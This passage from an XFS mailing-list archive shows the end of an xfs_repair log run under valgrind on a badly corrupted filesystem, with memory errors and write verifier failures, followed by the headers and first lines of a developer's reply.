cleared inode 134685066 data fork in regular inode 134685067 claims used block 8438150 correcting nextents for inode 134685067 bad data fork in inode 134685067 cleared inode 134685067 data fork in regular inode 134685068 claims used block 8438154 correcting nextents for inode 134685068 bad data fork in inode 134685068 cleared inode 134685068 data fork in regular inode 134685069 claims used block 8438157 correcting nextents for inode 134685069 bad data fork in inode 134685069 cleared inode 134685069 data fork in regular inode 134685070 claims used block 8438161 correcting nextents for inode 134685070 bad data fork in inode 134685070 cleared inode 134685070 data fork in regular inode 134685071 claims used block 8438164 correcting nextents for inode 134685071 bad data fork in inode 134685071 cleared inode 134685071 bad . entry in directory inode 134754783, was 134779771: correcting correcting nblocks for inode 135280001, was 3 - counted 17 correcting nblocks for inode 135280003, was 74 - counted 1 correcting nblocks for inode 135280005, was 49 - counted 2 correcting nblocks for inode 135280006, was 2 - counted 1 inode 135280007 - extent offset too large - start 8567439, count 69, offset 15534687187369984 correcting nextents for inode 135280007 bad data fork in inode 135280007 cleared inode 135280007 correcting nblocks for inode 135280008, was 8 - counted 1 correcting nblocks for inode 135280009, was 7 - counted 1 correcting nblocks for inode 135280010, was 12 - counted 1 correcting nblocks for inode 135280011, was 12 - counted 1 correcting nblocks for inode 135280014, was 19 - counted 1 correcting nblocks for inode 135280015, was 12 - counted 1 data fork in regular inode 137150480 claims used block 8577327 correcting nextents for inode 137150480 bad data fork in inode 137150480 cleared inode 137150480 data fork in regular inode 137150481 claims used block 8586960 correcting nextents for inode 137150481 bad data fork in inode 137150481 cleared inode 137150481 data fork in regular inode 137150482 claims used block 8586977 correcting nextents for inode 137150482 bad data fork in inode 137150482 cleared inode 137150482 data fork in regular inode 137150483 claims used block 8572108 cleared inode 137150489 data fork in regular inode 137150490 claims used block 8578429 correcting nextents for inode 137150490 bad data fork in inode 137150490 cleared inode 137150490 data fork in regular inode 137150491 claims used block 8578968 correcting nextents for inode 137150491 bad data fork in inode 137150491 cleared inode 137150491 data fork in regular inode 137150492 claims used block 8578969 correcting nextents for inode 137150492 bad data fork in inode 137150492 cleared inode 137150492 data fork in regular inode 137150493 claims used block 8578970 correcting nextents for inode 137150493 bad data fork in inode 137150493 cleared inode 137150493 data fork in regular inode 137150494 claims used block 8578971 correcting nextents for inode 137150494 bad data fork in inode 137150494 cleared inode 137150494 data fork in regular inode 137150495 claims used block 8578972 correcting nextents for inode 137150495 bad data fork in inode 137150495 cleared inode 137150495 - agno = 3 - process newly discovered inodes... Phase 4 - check for duplicate blocks... - setting up duplicate extent list... - check for inodes claiming duplicate blocks... - agno = 3 - agno = 0 - agno = 2 entry "attr" at block 1 offset 3112 in directory inode 134320266 references free inode 137150480 - agno = 1 clearing inode number in entry at offset 3112... entry "db_deadlock" at block 1 offset 3408 in directory inode 134320266 references free inode 137150481 clearing inode number in entry at offset 3408... data fork in ino 77579760 claims dup extent, off - 0, start - 8438113, cnt 4 entry "db_stat" at block 1 offset 3720 in directory inode 134320266 references free inode 137150482 clearing inode number in entry at offset 3720... entry "zipgrep" at block 8 offset 2224 in directory inode 134320266 references free inode 137150483 clearing inode number in entry at offset 2224... entry "gnome-font-viewer.mo" at block 0 offset 1024 in directory inode 134322940 references free inode 137150489 clearing inode number in entry at offset 1024... entry "gnome-font-viewer.mo" at block 1 offset 1272 in directory inode 134322941 references free inode 137150493 clearing inode number in entry at offset 1272... entry "gnome-font-viewer.mo" at block 1 offset 2304 in directory inode 134322942 references free inode 137150495 clearing inode number in entry at offset 2304... entry "libbonobo-2.0.mo" at block 0 offset 1024 in directory inode 134322950 references free inode 134685057 clearing inode number in entry at offset 1024... entry "libbonobo-2.0.mo" at block 0 offset 1016 in directory inode 134322951 references free inode 134685060 clearing inode number in entry at offset 1016... entry "libbonobo-2.0.mo" at block 0 offset 1496 in directory inode 134322952 references free inode 134685065 clearing inode number in entry at offset 1496... entry "libbonobo-2.0.mo" at block 0 offset 1472 in directory inode 134322953 references free inode 134685068 clearing inode number in entry at offset 1472... entry "libbonobo-2.0.mo" at block 0 offset 1640 in directory inode 134322954 references free inode 134685069 clearing inode number in entry at offset 1640... entry "libbonobo-2.0.mo" at block 0 offset 1304 in directory inode 134322955 references free inode 134685070 clearing inode number in entry at offset 1304... entry "libbonobo-2.0.mo" at block 0 offset 680 in directory inode 134322956 references free inode 134685071 clearing inode number in entry at offset 680... entry "gnome-font-viewer.mo" at block 0 offset 3168 in directory inode 134323184 references free inode 137150488 clearing inode number in entry at offset 3168... entry "gnome-font-viewer.mo" at block 0 offset 2928 in directory inode 134323192 references free inode 137150490 clearing inode number in entry at offset 2928... entry "gnome-font-viewer.mo" at block 0 offset 2488 in directory inode 134323198 references free inode 137150491 clearing inode number in entry at offset 2488... entry "gnome-font-viewer.mo" at block 0 offset 3048 in directory inode 134323200 references free inode 137150492 clearing inode number in entry at offset 3048... entry "gnome-font-viewer.mo" at block 0 offset 2200 in directory inode 134323204 references free inode 137150494 clearing inode number in entry at offset 2200... entry "libbonobo-2.0.mo" at block 0 offset 544 in directory inode 134323299 references free inode 134685056 clearing inode number in entry at offset 544... entry "libbonobo-2.0.mo" at block 0 offset 472 in directory inode 134323305 references free inode 134685058 clearing inode number in entry at offset 472... entry "libbonobo-2.0.mo" at block 0 offset 144 in directory inode 134323311 references free inode 134685059 clearing inode number in entry at offset 144... entry "libbonobo-2.0.mo" at block 0 offset 472 in directory inode 134323326 references free inode 134685061 clearing inode number in entry at offset 472... entry "libbonobo-2.0.mo" at block 0 offset 704 in directory inode 134323327 references free inode 134685062 clearing inode number in entry at offset 704... entry "libbonobo-2.0.mo" at block 0 offset 544 in directory inode 134323363 references free inode 134685063 clearing inode number in entry at offset 544... entry "libbonobo-2.0.mo" at block 0 offset 344 in directory inode 134323374 references free inode 134685064 clearing inode number in entry at offset 344... entry "libbonobo-2.0.mo" at block 0 offset 472 in directory inode 134323378 references free inode 134685066 clearing inode number in entry at offset 472... entry "libbonobo-2.0.mo" at block 0 offset 704 in directory inode 134323387 references free inode 134685067 clearing inode number in entry at offset 704... entry "unzip.1.gz" at block 9 offset 2136 in directory inode 134323469 references free inode 137150484 clearing inode number in entry at offset 2136... entry "unzipsfx.1.gz" at block 9 offset 2200 in directory inode 134323469 references free inode 137150485 clearing inode number in entry at offset 2200... entry "zipgrep.1.gz" at block 9 offset 2256 in directory inode 134323469 references free inode 137150486 clearing inode number in entry at offset 2256... data fork in ino 135280000 claims dup extent, off - 0, start - 8577327, cnt 17 correcting nextents for inode 135280000 bad data fork in inode 135280000 cleared inode 135280000 data fork in ino 135280001 claims dup extent, off - 0, start - 8586960, cnt 17 correcting nextents for inode 135280001 bad data fork in inode 135280001 cleared inode 135280001 data fork in ino 135280003 claims dup extent, off - 0, start - 8572108, cnt 1 correcting nextents for inode 135280003 bad data fork in inode 135280003 cleared inode 135280003 data fork in ino 135280004 claims dup extent, off - 0, start - 8572109, cnt 5 correcting nextents for inode 135280004 bad data fork in inode 135280004 cleared inode 135280004 data fork in ino 135280005 claims dup extent, off - 0, start - 8572114, cnt 2 correcting nextents for inode 135280005 bad data fork in inode 135280005 cleared inode 135280005 data fork in ino 135280006 claims dup extent, off - 0, start - 8572116, cnt 1 correcting nextents for inode 135280006 bad data fork in inode 135280006 cleared inode 135280006 data fork in ino 135280008 claims dup extent, off - 0, start - 8577514, cnt 1 correcting nextents for inode 135280008 bad data fork in inode 135280008 cleared inode 135280008 bad data fork in inode 135280010 cleared inode 135280010 data fork in ino 135280011 claims dup extent, off - 0, start - 8578968, cnt 1 correcting nextents for inode 135280011 bad data fork in inode 135280011 cleared inode 135280011 data fork in ino 135280012 claims dup extent, off - 0, start - 8578969, cnt 1 correcting nextents for inode 135280012 bad data fork in inode 135280012 cleared inode 135280012 data fork in ino 135280013 claims dup extent, off - 0, start - 8578970, cnt 1 correcting nextents for inode 135280013 bad data fork in inode 135280013 cleared inode 135280013 data fork in ino 135280014 claims dup extent, off - 0, start - 8578971, cnt 1 correcting nextents for inode 135280014 bad data fork in inode 135280014 cleared inode 135280014 data fork in ino 135280015 claims dup extent, off - 0, start - 8578972, cnt 1 correcting nextents for inode 135280015 bad data fork in inode 135280015 cleared inode 135280015 correcting nextents for inode 77579760 bad data fork in inode 77579760 cleared inode 77579760 Phase 5 - rebuild AG headers and trees... - reset superblock... Phase 6 - check inode connectivity... - resetting contents of realtime bitmap and summary inodes - traversing filesystem ... entry "system.d" in shortform directory inode 67687581 points to free inode 135280000 entry "hwspinlock" in dir inode 70039312 inconsistent with .. value (70042219) in ino 134754783 rebuilding directory inode 70039312 entry "nf_conntrack_sip.ko" in directory inode 77579738 points to free inode 77579760 bad hash table for directory inode 77579738 (no data entry): rebuilding rebuilding directory inode 77579738 rebuilding directory inode 134320266 bad hash table for directory inode 134322940 (no data entry): rebuilding rebuilding directory inode 134322940 bad hash table for directory inode 134322941 (no data entry): rebuilding rebuilding directory inode 134322941 bad hash table for directory inode 134322942 (no data entry): rebuilding rebuilding directory inode 134322942 bad hash table for directory inode 134322950 (no data entry): rebuilding rebuilding directory inode 134322950 bad hash table for directory inode 134322951 (no data entry): rebuilding rebuilding directory inode 134322951 bad hash table for directory inode 134322952 (no data entry): rebuilding rebuilding directory inode 134322952 bad hash table for directory inode 134322953 (no data entry): rebuilding rebuilding directory inode 134322953 bad hash table for directory inode 134322954 (no data entry): rebuilding rebuilding directory inode 134322954 bad hash table for directory inode 134322955 (no data entry): rebuilding rebuilding directory inode 134322955 bad hash table for directory inode 134322956 (no data entry): rebuilding rebuilding directory inode 134322956 bad hash table for directory inode 134323184 (no data entry): rebuilding rebuilding directory inode 134323184 bad hash table for directory inode 134323192 (no data entry): rebuilding rebuilding directory inode 134323192 bad hash table for directory inode 134323198 (no data entry): rebuilding rebuilding directory inode 134323198 bad hash table for directory inode 134323200 (no data entry): rebuilding rebuilding directory inode 134323200 bad hash table for directory inode 134323204 (no data entry): rebuilding rebuilding directory inode 134323204 bad hash table for directory inode 134323299 (no data entry): rebuilding rebuilding directory inode 134323299 bad hash table for directory inode 134323305 (no data entry): rebuilding rebuilding directory inode 134323305 bad hash table for directory inode 134323311 (no data entry): rebuilding rebuilding directory inode 134323311 bad hash table for directory inode 134323326 (no data entry): rebuilding rebuilding directory inode 134323326 bad hash table for directory inode 134323327 (no data entry): rebuilding rebuilding directory inode 134323327 bad hash table for directory inode 134323363 (no data entry): rebuilding rebuilding directory inode 134323363 bad hash table for directory inode 134323374 (no data entry): rebuilding rebuilding directory inode 134323374 bad hash table for directory inode 134323378 (no data entry): rebuilding rebuilding directory inode 134323378 bad hash table for directory inode 134323387 (no data entry): rebuilding rebuilding directory inode 134323387 rebuilding directory inode 134323469 entry "yum" in directory inode 135117175 points to free inode 135280004 bad hash table for directory inode 135117175 (no data entry): rebuilding rebuilding directory inode 135117175 - traversal finished ... - moving disconnected inodes to lost+found ... disconnected inode 134555749, moving to lost+found ==6700== Invalid read of size 8 ==6700== at 0x1003DB10: libxfs_trans_commit (trans.c:743) ==6700== by 0x10028F9B: mv_orphanage (phase6.c:1222) ==6700== by 0x1002A627: phase6 (phase6.c:2970) ==6700== by 0x1000490F: main (xfs_repair.c:779) ==6700== Address 0x13cbf4b8 is 216 bytes inside a block of size 416 free'd ==6700== at 0x4067C2C: free (in /usr/lib64/valgrind/vgpreload_memcheck-ppc64-linux.so) ==6700== by 0x1003C9EF: libxfs_iput (kmem.h:41) ==6700== by 0x1003DB0B: libxfs_trans_commit (trans.c:740) ==6700== by 0x10028F9B: mv_orphanage (phase6.c:1222) ==6700== by 0x1002A627: phase6 (phase6.c:2970) ==6700== by 0x1000490F: main (xfs_repair.c:779) ==6700== ==6700== Invalid write of size 8 ==6700== at 0x1003DB38: libxfs_trans_commit (trans.c:747) ==6700== by 0x10028F9B: mv_orphanage (phase6.c:1222) ==6700== by 0x1002A627: phase6 (phase6.c:2970) ==6700== by 0x1000490F: main (xfs_repair.c:779) ==6700== Address 0x13cbf4b8 is 216 bytes inside a block of size 416 free'd ==6700== at 0x4067C2C: free (in /usr/lib64/valgrind/vgpreload_memcheck-ppc64-linux.so) ==6700== by 0x1003C9EF: libxfs_iput (kmem.h:41) ==6700== by 0x1003DB0B: libxfs_trans_commit (trans.c:740) ==6700== by 0x10028F9B: mv_orphanage (phase6.c:1222) ==6700== by 0x1002A627: phase6 (phase6.c:2970) ==6700== by 0x1000490F: main (xfs_repair.c:779) ==6700== disconnected inode 134748865, moving to lost+found disconnected inode 134748917, moving to lost+found disconnected dir inode 134754783, moving to lost+found disconnected inode 134765632, moving to lost+found disconnected inode 134765633, moving to lost+found disconnected inode 134765634, moving to lost+found disconnected inode 134765636, moving to lost+found disconnected inode 134765637, moving to lost+found disconnected inode 135280016, moving to lost+found disconnected inode 135280017, moving to lost+found disconnected inode 135280018, moving to lost+found disconnected inode 135280019, moving to lost+found disconnected inode 135280020, moving to lost+found disconnected inode 135280021, moving to lost+found disconnected inode 135280022, moving to lost+found disconnected inode 135280023, moving to lost+found disconnected inode 135280024, moving to lost+found disconnected inode 135280025, moving to lost+found disconnected inode 135280026, moving to lost+found disconnected inode 135280027, moving to lost+found disconnected inode 135280028, moving to lost+found disconnected inode 135280029, moving to lost+found disconnected inode 135280030, moving to lost+found disconnected inode 135280031, moving to lost+found disconnected inode 135280032, moving to lost+found disconnected inode 135280033, moving to lost+found disconnected inode 135280034, moving to lost+found disconnected inode 135280035, moving to lost+found disconnected inode 135280036, moving to lost+found disconnected inode 135280037, moving to lost+found disconnected inode 135280038, moving to lost+found disconnected inode 135280039, moving to lost+found disconnected inode 135280040, moving to lost+found disconnected inode 135280041, moving to lost+found disconnected inode 135280042, moving to lost+found disconnected inode 135280043, moving to lost+found disconnected inode 135280044, moving to lost+found disconnected inode 135280045, moving to lost+found disconnected inode 135280046, moving to lost+found disconnected inode 135280047, moving to lost+found disconnected inode 135280048, moving to lost+found disconnected inode 135280049, moving to lost+found disconnected inode 135280050, moving to lost+found disconnected inode 135280051, moving to lost+found disconnected inode 135280052, moving to lost+found disconnected inode 135280053, moving to lost+found disconnected inode 135280054, moving to lost+found disconnected inode 135280055, moving to lost+found disconnected inode 135280056, moving to lost+found disconnected inode 135280057, moving to lost+found disconnected inode 135280058, moving to lost+found disconnected inode 135280059, moving to lost+found disconnected inode 135280060, moving to lost+found disconnected inode 135280061, moving to lost+found disconnected inode 135280062, moving to lost+found disconnected inode 135280063, moving to lost+found disconnected inode 135280064, moving to lost+found disconnected inode 135280065, moving to lost+found disconnected inode 135280066, moving to lost+found disconnected inode 135280067, moving to lost+found disconnected inode 135280257, moving to lost+found disconnected inode 135280258, moving to lost+found disconnected inode 135338277, moving to lost+found disconnected inode 135338278, moving to lost+found disconnected inode 135338284, moving to lost+found disconnected inode 135338286, moving to lost+found disconnected inode 135338287, moving to lost+found disconnected inode 135338288, moving to lost+found disconnected inode 135338289, moving to lost+found disconnected inode 135338366, moving to lost+found disconnected inode 135361331, moving to lost+found disconnected inode 135418058, moving to lost+found disconnected inode 135424793, moving to lost+found disconnected inode 135424797, moving to lost+found disconnected inode 135470020, moving to lost+found disconnected inode 135470025, moving to lost+found disconnected inode 135470033, moving to lost+found disconnected inode 135470037, moving to lost+found disconnected inode 135470050, moving to lost+found disconnected inode 135495346, moving to lost+found disconnected inode 135495495, moving to lost+found disconnected inode 135495496, moving to lost+found disconnected inode 135525755, moving to lost+found disconnected inode 135525845, moving to lost+found disconnected inode 135648551, moving to lost+found disconnected inode 135648552, moving to lost+found disconnected inode 135648553, moving to lost+found disconnected inode 135648600, moving to lost+found disconnected inode 135648676, moving to lost+found disconnected inode 135648678, moving to lost+found disconnected inode 135648679, moving to lost+found disconnected inode 135653700, moving to lost+found disconnected inode 135653716, moving to lost+found disconnected inode 135701266, moving to lost+found disconnected inode 135710889, moving to lost+found disconnected inode 135711371, moving to lost+found disconnected inode 135841274, moving to lost+found disconnected inode 135841275, moving to lost+found disconnected inode 136103192, moving to lost+found disconnected inode 136250457, moving to lost+found disconnected inode 136374233, moving to lost+found disconnected inode 136413756, moving to lost+found disconnected inode 137150557, moving to lost+found disconnected inode 137160438, moving to lost+found disconnected inode 137160523, moving to lost+found disconnected inode 137167242, moving to lost+found Phase 7 - verify and correct link counts... resetting inode 12878 nlinks from 69 to 70 ==6700== Invalid read of size 8 ==6700== at 0x1003DB10: libxfs_trans_commit (trans.c:743) ==6700== by 0x1002C0DF: phase7 (phase7.c:111) ==6700== by 0x1000492F: main (xfs_repair.c:782) ==6700== Address 0x13d50c38 is 216 bytes inside a block of size 416 free'd ==6700== at 0x4067C2C: free (in /usr/lib64/valgrind/vgpreload_memcheck-ppc64-linux.so) ==6700== by 0x1003C9EF: libxfs_iput (kmem.h:41) ==6700== by 0x1003DB0B: libxfs_trans_commit (trans.c:740) ==6700== by 0x1002C0DF: phase7 (phase7.c:111) ==6700== by 0x1000492F: main (xfs_repair.c:782) ==6700== ==6700== Invalid write of size 8 ==6700== at 0x1003DB38: libxfs_trans_commit (trans.c:747) ==6700== by 0x1002C0DF: phase7 (phase7.c:111) ==6700== by 0x1000492F: main (xfs_repair.c:782) ==6700== Address 0x13d50c38 is 216 bytes inside a block of size 416 free'd ==6700== at 0x4067C2C: free (in /usr/lib64/valgrind/vgpreload_memcheck-ppc64-linux.so) ==6700== by 0x1003C9EF: libxfs_iput (kmem.h:41) ==6700== by 0x1003DB0B: libxfs_trans_commit (trans.c:740) ==6700== by 0x1002C0DF: phase7 (phase7.c:111) ==6700== by 0x1000492F: main (xfs_repair.c:782) ==6700== resetting inode 67687581 nlinks from 4 to 3 xfs_dir3_data_write_verify: XFS_CORRUPTION_ERROR libxfs_writebufr: write verifer failed on bno 0x3239040/0x1000 Invalid inode number 0xfeffffffffffffff xfs_dir_ino_validate: XFS_ERROR_REPORT xfs_dir3_data_write_verify: XFS_CORRUPTION_ERROR libxfs_writebufr: write verifer failed on bno 0x3239060/0x1000 Invalid inode number 0xfeffffffffffffff xfs_dir_ino_validate: XFS_ERROR_REPORT xfs_dir3_data_write_verify: XFS_CORRUPTION_ERROR libxfs_writebufr: write verifer failed on bno 0x3239098/0x1000 Invalid inode number 0xfeffffffffffffff xfs_dir_ino_validate: XFS_ERROR_REPORT xfs_dir3_data_write_verify: XFS_CORRUPTION_ERROR libxfs_writebufr: write verifer failed on bno 0x3239090/0x1000 Invalid inode number 0xfeffffffffffffff xfs_dir_ino_validate: XFS_ERROR_REPORT xfs_dir3_data_write_verify: XFS_CORRUPTION_ERROR libxfs_writebufr: write verifer failed on bno 0x32390a8/0x1000 Invalid inode number 0xfeffffffffffffff xfs_dir_ino_validate: XFS_ERROR_REPORT xfs_dir3_data_write_verify: XFS_CORRUPTION_ERROR libxfs_writebufr: write verifer failed on bno 0x32390a0/0x1000 Invalid inode number 0xfeffffffffffffff xfs_dir_ino_validate: XFS_ERROR_REPORT xfs_dir3_data_write_verify: XFS_CORRUPTION_ERROR libxfs_writebufr: write verifer failed on bno 0x32390d0/0x1000 Invalid inode number 0xfeffffffffffffff xfs_dir_ino_validate: XFS_ERROR_REPORT xfs_dir3_data_write_verify: XFS_CORRUPTION_ERROR libxfs_writebufr: write verifer failed on bno 0x323b038/0x1000 Invalid inode number 0xfeffffffffffffff xfs_dir_ino_validate: XFS_ERROR_REPORT xfs_dir3_data_write_verify: XFS_CORRUPTION_ERROR libxfs_writebufr: write verifer failed on bno 0x3257670/0x1000 Invalid inode number 0xfeffffffffffffff xfs_dir_ino_validate: XFS_ERROR_REPORT xfs_dir3_data_write_verify: XFS_CORRUPTION_ERROR libxfs_writebufr: write verifer failed on bno 0x3259e68/0x1000 Invalid inode number 0xfeffffffffffffff xfs_dir_ino_validate: XFS_ERROR_REPORT xfs_dir3_block_write_verify: XFS_CORRUPTION_ERROR libxfs_writebufr: write verifer failed on bno 0x3298f38/0x1000 ==6700== Syscall param pwrite64(buf) points to uninitialised byte(s) ==6700== at 0x40F810C: pwrite64 (pwrite64.c:51) ==6700== by 0x1003ABDB: __write_buf (rdwr.c:801) ==6700== by 0x1003C1B7: libxfs_writebufr (rdwr.c:863) ==6700== by 0x10036C4F: cache_flush (cache.c:600) ==6700== by 0x1003C77B: libxfs_bcache_flush (rdwr.c:994) ==6700== by 0x10004C6B: main (xfs_repair.c:886) ==6700== Address 0xbeb0622 is 34 bytes inside a block of size 4,096 alloc'd ==6700== at 0x406631C: memalign (in /usr/lib64/valgrind/vgpreload_memcheck-ppc64-linux.so) ==6700== by 0x1003ADEF: __initbuf (rdwr.c:367) ==6700== by 0x1003B797: libxfs_getbufr_map (rdwr.c:416) ==6700== by 0x100365C3: cache_node_get (cache.c:273) ==6700== by 0x1003A8DB: __cache_lookup (rdwr.c:519) ==6700== by 0x1003BA6F: libxfs_getbuf_map (rdwr.c:601) ==6700== by 0x1003D333: libxfs_trans_get_buf_map (trans.c:525) ==6700== by 0x10059A3B: xfs_da_get_buf (xfs_da_btree.c:2580) ==6700== by 0x10060E27: xfs_dir3_data_init (xfs_dir2_data.c:558) ==6700== by 0x1006407F: xfs_dir2_leaf_addname (xfs_dir2_leaf.c:826) ==6700== by 0x1005D59B: xfs_dir_createname (xfs_dir2.c:233) ==6700== by 0x100290D3: mv_orphanage (phase6.c:1205) ==6700== xfs_dir3_block_write_verify: XFS_CORRUPTION_ERROR libxfs_writebufr: write verifer failed on bno 0x1dff1d8/0x1000 Invalid inode number 0xfeffffffffffffff xfs_dir_ino_validate: XFS_ERROR_REPORT xfs_dir3_block_write_verify: XFS_CORRUPTION_ERROR libxfs_writebufr: write verifer failed on bno 0x32af510/0x1000 Invalid inode number 0xfeffffffffffffff xfs_dir_ino_validate: XFS_ERROR_REPORT xfs_dir3_data_write_verify: XFS_CORRUPTION_ERROR libxfs_writebufr: write verifer failed on bno 0x32c4748/0x1000 Invalid inode number 0xfeffffffffffffff xfs_dir_ino_validate: XFS_ERROR_REPORT xfs_dir3_data_write_verify: XFS_CORRUPTION_ERROR libxfs_writebufr: write verifer failed on bno 0x32d6708/0x1000 Invalid inode number 0xfeffffffffffffff xfs_dir_ino_validate: XFS_ERROR_REPORT xfs_dir3_data_write_verify: XFS_CORRUPTION_ERROR libxfs_writebufr: write verifer failed on bno 0x322bfc8/0x1000 Invalid inode number 0xfeffffffffffffff xfs_dir_ino_validate: XFS_ERROR_REPORT xfs_dir3_block_write_verify: XFS_CORRUPTION_ERROR libxfs_writebufr: write verifer failed on bno 0x322c070/0x1000 Invalid inode number 0xfeffffffffffffff xfs_dir_ino_validate: XFS_ERROR_REPORT xfs_dir3_data_write_verify: XFS_CORRUPTION_ERROR libxfs_writebufr: write verifer failed on bno 0x3259e68/0x1000 Invalid inode number 0xfeffffffffffffff xfs_dir_ino_validate: XFS_ERROR_REPORT xfs_dir3_data_write_verify: XFS_CORRUPTION_ERROR libxfs_writebufr: write verifer failed on bno 0x32390a8/0x1000 Invalid inode number 0xfeffffffffffffff xfs_dir_ino_validate: XFS_ERROR_REPORT xfs_dir3_data_write_verify: XFS_CORRUPTION_ERROR libxfs_writebufr: write verifer failed on bno 0x323b038/0x1000 Invalid inode number 0xfeffffffffffffff xfs_dir_ino_validate: XFS_ERROR_REPORT xfs_dir3_data_write_verify: XFS_CORRUPTION_ERROR libxfs_writebufr: write verifer failed on bno 0x3239060/0x1000 Invalid inode number 0xfeffffffffffffff xfs_dir_ino_validate: XFS_ERROR_REPORT xfs_dir3_data_write_verify: XFS_CORRUPTION_ERROR libxfs_writebufr: write verifer failed on bno 0x32390a0/0x1000 Invalid inode number 0xfeffffffffffffff xfs_dir_ino_validate: XFS_ERROR_REPORT xfs_dir3_block_write_verify: XFS_CORRUPTION_ERROR libxfs_writebufr: write verifer failed on bno 0x32af510/0x1000 Invalid inode number 0xfeffffffffffffff xfs_dir_ino_validate: XFS_ERROR_REPORT xfs_dir3_data_write_verify: XFS_CORRUPTION_ERROR libxfs_writebufr: write verifer failed on bno 0x3239098/0x1000 Invalid inode number 0xfeffffffffffffff xfs_dir_ino_validate: XFS_ERROR_REPORT xfs_dir3_data_write_verify: XFS_CORRUPTION_ERROR libxfs_writebufr: write verifer failed on bno 0x3239058/0x1000 Invalid inode number 0xfeffffffffffffff xfs_dir_ino_validate: XFS_ERROR_REPORT xfs_dir3_block_write_verify: XFS_CORRUPTION_ERROR libxfs_writebufr: write verifer failed on bno 0x322c070/0x1000 Invalid inode number 0xfeffffffffffffff xfs_dir_ino_validate: XFS_ERROR_REPORT xfs_dir3_data_write_verify: XFS_CORRUPTION_ERROR libxfs_writebufr: write verifer failed on bno 0x3239040/0x1000 Invalid inode number 0xfeffffffffffffff xfs_dir_ino_validate: XFS_ERROR_REPORT xfs_dir3_data_write_verify: XFS_CORRUPTION_ERROR libxfs_writebufr: write verifer failed on bno 0x32c4748/0x1000 Invalid inode number 0xfeffffffffffffff xfs_dir_ino_validate: XFS_ERROR_REPORT xfs_dir3_data_write_verify: XFS_CORRUPTION_ERROR libxfs_writebufr: write verifer failed on bno 0x32d6708/0x1000 Invalid inode number 0xfeffffffffffffff xfs_dir_ino_validate: XFS_ERROR_REPORT xfs_dir3_data_write_verify: XFS_CORRUPTION_ERROR libxfs_writebufr: write verifer failed on bno 0x32390d0/0x1000 Invalid inode number 0xfeffffffffffffff xfs_dir_ino_validate: XFS_ERROR_REPORT xfs_dir3_data_write_verify: XFS_CORRUPTION_ERROR libxfs_writebufr: write verifer failed on bno 0x3257670/0x1000 Invalid inode number 0xfeffffffffffffff xfs_dir_ino_validate: XFS_ERROR_REPORT xfs_dir3_data_write_verify: XFS_CORRUPTION_ERROR libxfs_writebufr: write verifer failed on bno 0x322bfc8/0x1000 xfs_dir3_block_write_verify: XFS_CORRUPTION_ERROR libxfs_writebufr: write verifer failed on bno 0x1dff1d8/0x1000 ==6700== Warning: noted but unhandled ioctl 0x20001261 with no size/direction hints ==6700== This could cause spurious value errors to appear. ==6700== See README_MISSING_SYSCALL_OR_IOCTL for guidance on writing a proper wrapper. done ==6700== ==6700== HEAP SUMMARY: ==6700== in use at exit: 88,637,308 bytes in 55,170 blocks ==6700== total heap usage: 1,491,690 allocs, 1,436,520 frees, 456,682,715 bytes allocated ==6700== ==6700== LEAK SUMMARY: ==6700== definitely lost: 5,120 bytes in 22 blocks ==6700== indirectly lost: 108 bytes in 2 blocks ==6700== possibly lost: 81,474,448 bytes in 38,930 blocks ==6700== still reachable: 7,157,632 bytes in 16,216 blocks ==6700== suppressed: 0 bytes in 0 blocks ==6700== Rerun with --leak-check=full to see details of leaked memory ==6700== ==6700== For counts of detected and suppressed errors, rerun with: -v ==6700== Use --track-origins=yes to see where uninitialised values come from ==6700== ERROR SUMMARY: 502 errors from 5 contexts (suppressed: 0 from 0) --------------060604090100000501030309-- From sandeen@sandeen.net Tue Feb 11 14:11:59 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C44537F50 for ; Tue, 11 Feb 2014 14:11:59 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id A0580304043 for ; Tue, 11 Feb 2014 12:11:56 -0800 (PST) X-ASG-Debug-ID: 1392149514-04bdf0734c118b40001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id cnAmFl3azytoxycR for ; Tue, 11 Feb 2014 12:11:55 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id BAA0965476CD; Tue, 11 Feb 2014 14:11:54 -0600 (CST) Message-ID: <52FA840A.7090309@sandeen.net> Date: Tue, 11 Feb 2014 14:11:54 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Cody P Schafer , xfs@oss.sgi.com Subject: Re: xfs_repair fails to repair, run under valgrind shows "Invalid read..." and XFS_CORRUPTION_ERROR References: <52FA8021.9050604@linux.vnet.ibm.com> X-ASG-Orig-Subj: Re: xfs_repair fails to repair, run under valgrind shows "Invalid read..." and XFS_CORRUPTION_ERROR In-Reply-To: <52FA8021.9050604@linux.vnet.ibm.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1392149514 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145033 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 2/11/14, 1:55 PM, Cody P Schafer wrote: > xfsprogs version: v3.2.0-alpha2-14-g6e79202 > > uname: Linux hostname 3.11.10-301.fc20.ppc64 #1 SMP Tue Dec 10 00:35:15 MST 2013 ppc64 POWER8 (architected), altivec supported CHRP IBM,8286-42A GNU/Linux > > full log attached. Yikes, that's one destroyed filesystem. What 